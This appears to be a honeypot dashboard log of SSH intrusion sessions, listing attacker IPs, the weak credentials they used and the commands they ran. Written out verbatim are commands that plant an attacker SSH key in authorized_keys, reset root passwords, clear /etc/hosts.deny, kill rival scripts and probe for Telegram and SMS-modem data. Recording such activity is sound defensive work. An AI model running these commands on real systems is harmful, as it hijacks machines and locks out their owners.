$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 seoul_root_6 (59.27.249.238) — Cheonan, South Korea · 1 session · 9 cmds

2026-07-06 14:31 EDT · as root/admin

Ran uname 4x across 4 sessions — automated OS fingerprinting.

$ /ip cloud print

$ ifconfig // network mapping

$ uname -a // OS/kernel identification

$ cat /proc/cpuinfo // CPU profiling

$ ps | grep '[Mm]iner'

$ ps -ef | grep '[Mm]iner'

$ ls -la ~/.local/share/TelegramDesktop/tdata /home/*/.local/share/TelegramDesktop/tdata /dev/ttyGSM* /dev/ttyUSB-mod* /var/spool/sms/* /var/log/smsd.log /etc/smsd.conf* /usr/bin/qmuxd /var/qmux_connect_socket /etc/config/simman /dev/modem* /var/config/sms/*

$ locate D877F783D5D3EF8Cs

$ echo Hi | cat -n

🎭 baguette_root_2 (87.98.220.168) — Roubaix, France · 1 session · 20 cmds

2026-07-06 14:14 EDT · as ubuntu/Aa1234567890@

Ran uname 4x across 4 sessions — automated OS fingerprinting.

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo -e "Aa1234567890@\nCRAiyazE7iLe\nCRAiyazE7iLe"|passwd|bash

$ Enter new UNIX password:

$ echo "Aa1234567890@\nCRAiyazE7iLe\nCRAiyazE7iLe\n"|passwd

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 panda_root_11 (8.141.116.106) — Beijing, China · 1 session · 19 cmds

2026-07-06 13:46 EDT · as root/AAbb1234

Ran uname 4x across 4 sessions — automated OS fingerprinting.

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo "root:kK1ePGB22y2L"|chpasswd|bash

$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep; // execute from /tmp

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 cipher_root_29 (43.129.253.2) — Hong Kong, Hong Kong · 1 session · 20 cmds

2026-07-06 10:44 EDT · as server/pass123

Ran uname 4x across 4 sessions — automated OS fingerprinting.

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo -e "pass123\n0Wyy7XGvdwjf\n0Wyy7XGvdwjf"|passwd|bash

$ Enter new UNIX password:

$ echo "pass123\n0Wyy7XGvdwjf\n0Wyy7XGvdwjf\n"|passwd

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 wraith_root_27 (163.7.0.179) — Yogyakarta, Indonesia · 1 session · 19 cmds

2026-07-06 08:09 EDT · as root/1q2w3e4r5!

Ran uname 4x across 4 sessions — automated OS fingerprinting.

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo "root:W2LhmGjNnJ0N"|chpasswd|bash

$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep; // execute from /tmp

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 ghost_root_27 (181.164.12.188) — Córdoba, Argentina · 1 session · 19 cmds

2026-07-06 07:16 EDT · as root/P@ssword12345

Ran uname 4x across 4 sessions — automated OS fingerprinting.

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo "root:EkdwaoZv5r2f"|chpasswd|bash

$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep; // execute from /tmp

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 wraith_root_22 (147.50.227.79) — Huai Khwang, Thailand · 2 sessions · 39 cmds

2026-07-06 06:36 EDT · as root/new@2024, user4/123456

Ran uname 4x across 4 sessions — automated OS fingerprinting.

$ cd ~; chattr -ia .ssh; lockr -ia .ssh ×2 // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ ×2 // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l ×2 // CPU profiling

$ echo "root:2i2zJcksCp3k"|chpasswd|bash

$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep; // execute from /tmp

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' ×2 // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}' ×2

$ ls -lh $(which ls) ×2

$ which ls ×2

$ crontab -l ×2 // persistence setup

$ w ×2 // logged-in users check

$ uname -m ×2

$ cat /proc/cpuinfo | grep model | grep name | wc -l ×2 // CPU profiling

$ top ×2 // process monitoring

$ uname ×2 // OS identification

$ uname -a ×2 // OS/kernel identification

$ whoami ×2 // privilege check

$ lscpu | grep Model ×2

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}' ×2

$ echo -e "123456\nZrUMv6dRmZL6\nZrUMv6dRmZL6"|passwd|bash

$ Enter new UNIX password:

$ echo "123456\nZrUMv6dRmZL6\nZrUMv6dRmZL6\n"|passwd

🎭 rogue_root_29 (195.116.145.127) — Bielsko-Biala, Poland · 2 sessions · 39 cmds

2026-07-06 06:15 EDT · as root/new@2024, user4/123456

Ran uname 4x across 4 sessions — automated OS fingerprinting.

$ cd ~; chattr -ia .ssh; lockr -ia .ssh ×2 // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ ×2 // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l ×2 // CPU profiling

$ echo "root:KA685ACVjql4"|chpasswd|bash

$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep; // execute from /tmp

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' ×2 // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}' ×2

$ ls -lh $(which ls) ×2

$ which ls ×2

$ crontab -l ×2 // persistence setup

$ w ×2 // logged-in users check

$ uname -m ×2

$ cat /proc/cpuinfo | grep model | grep name | wc -l ×2 // CPU profiling

$ top ×2 // process monitoring

$ uname ×2 // OS identification

$ uname -a ×2 // OS/kernel identification

$ whoami ×2 // privilege check

$ lscpu | grep Model ×2

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}' ×2

$ echo -e "123456\nj5LbE4nHpXBz\nj5LbE4nHpXBz"|passwd|bash

$ Enter new UNIX password:

$ echo "123456\nj5LbE4nHpXBz\nj5LbE4nHpXBz\n"|passwd

🎭 phantom_root_21 (103.188.177.46) — Jakarta, Indonesia · 1 session · 19 cmds

2026-07-06 06:17 EDT · as root/new@2024

Ran uname 4x across 4 sessions — automated OS fingerprinting.

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo "root:q0jZkTAydXQ7"|chpasswd|bash

$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep; // execute from /tmp

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 specter_root_16 (95.58.255.251) — Astana, Kazakhstan · 2 sessions · 39 cmds

2026-07-03 17:58 EDT · as postgres/azertyuiop, root/ruijie@2026

Ran uname 4x across 4 sessions — automated OS fingerprinting.

$ cd ~; chattr -ia .ssh; lockr -ia .ssh ×2 // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ ×2 // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l ×2 // CPU profiling

$ echo -e "azertyuiop\nb3CdweAnMheS\nb3CdweAnMheS"|passwd|bash

$ Enter new UNIX password:

$ echo "azertyuiop\nb3CdweAnMheS\nb3CdweAnMheS\n"|passwd

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' ×2 // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}' ×2

$ ls -lh $(which ls) ×2

$ which ls ×2

$ crontab -l ×2 // persistence setup

$ w ×2 // logged-in users check

$ uname -m ×2

$ cat /proc/cpuinfo | grep model | grep name | wc -l ×2 // CPU profiling

$ top ×2 // process monitoring

$ uname ×2 // OS identification

$ uname -a ×2 // OS/kernel identification

$ whoami ×2 // privilege check

$ lscpu | grep Model ×2

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}' ×2

$ echo "root:3y6Qtwl4lJMm"|chpasswd|bash

$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep; // execute from /tmp

🎭 lantern_root_2 (101.96.220.237) — Haidian, China · 1 session · 19 cmds

2026-07-06 04:52 EDT · as root/Aa!@#$%^

Ran uname 4x across 4 sessions — automated OS fingerprinting.

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo "root:YbObgus5ekzC"|chpasswd|bash

$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep; // execute from /tmp

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 specter_root_26 (171.244.63.18) — Hanoi, Vietnam · 1 session · 20 cmds

2026-07-06 04:46 EDT · as postgres/azertyuiop

Ran uname 4x across 4 sessions — automated OS fingerprinting.

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo -e "azertyuiop\nEwjvbXfYMooZ\nEwjvbXfYMooZ"|passwd|bash

$ Enter new UNIX password:

$ echo "azertyuiop\nEwjvbXfYMooZ\nEwjvbXfYMooZ\n"|passwd

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 eagle_root_8 (98.22.234.53) — Bigelow, United States · 1 session · 5 cmds

2026-07-06 04:45 EDT · as root/12345

ip → network mapping → OS/kernel identification → CPU profiling → ps

$ /ip cloud print

$ ifconfig // network mapping

$ uname -a // OS/kernel identification

$ cat /proc/cpuinfo // CPU profiling

$ ps | grep '[Mm]iner'

🎭 wraith_root_26 (84.32.9.77) — Šiauliai, Lithuania · 1 session · 19 cmds

2026-07-06 04:44 EDT · as root/Hp@123456

ip → network mapping → OS/kernel identification → CPU profiling → ps

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo "root:oijISmNUQBbT"|chpasswd|bash

$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep; // execute from /tmp

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 gouda_root_2 (91.92.40.4) — Amsterdam, The Netherlands · 1 session · 9 cmds

2026-07-06 02:20 EDT · as test/qwerty123

ip → network mapping → OS/kernel identification → CPU profiling → ps

$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '"' ) || echo ""); arch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q "lm" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q "CPU architecture: 8" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q "CPU architecture: 7" /proc/cpuinfo && echo armv7l ) || echo ""); uptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null); cpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null); cpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E "^model name" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E "^Hardware" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null ); last_output=$(last 2>/dev/null); filter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\n' 2>/dev/null || busybox tr -d '\n' 2>/dev/null || cat ); printf '\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\n' 2>/dev/null || busybox tr -d '\n' 2>/dev/null || cat ); printf '\n'; printf 'execute_err='; out=$(bash -c 'printf "#!/bin/bash\necho \"xxxxxx\"\n" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case "$out" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf "#!/bin/bash\necho \"xxxxxx\"\n" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case "$out" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf "#!/bin/bash\necho \"xxxxxx\"\n" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case "$out" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf "#!/bin/sh\necho \"xxxxxx\"\n" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf "#!/bin/sh\necho \"xxxxxx\"\n" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' "$out" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\n' 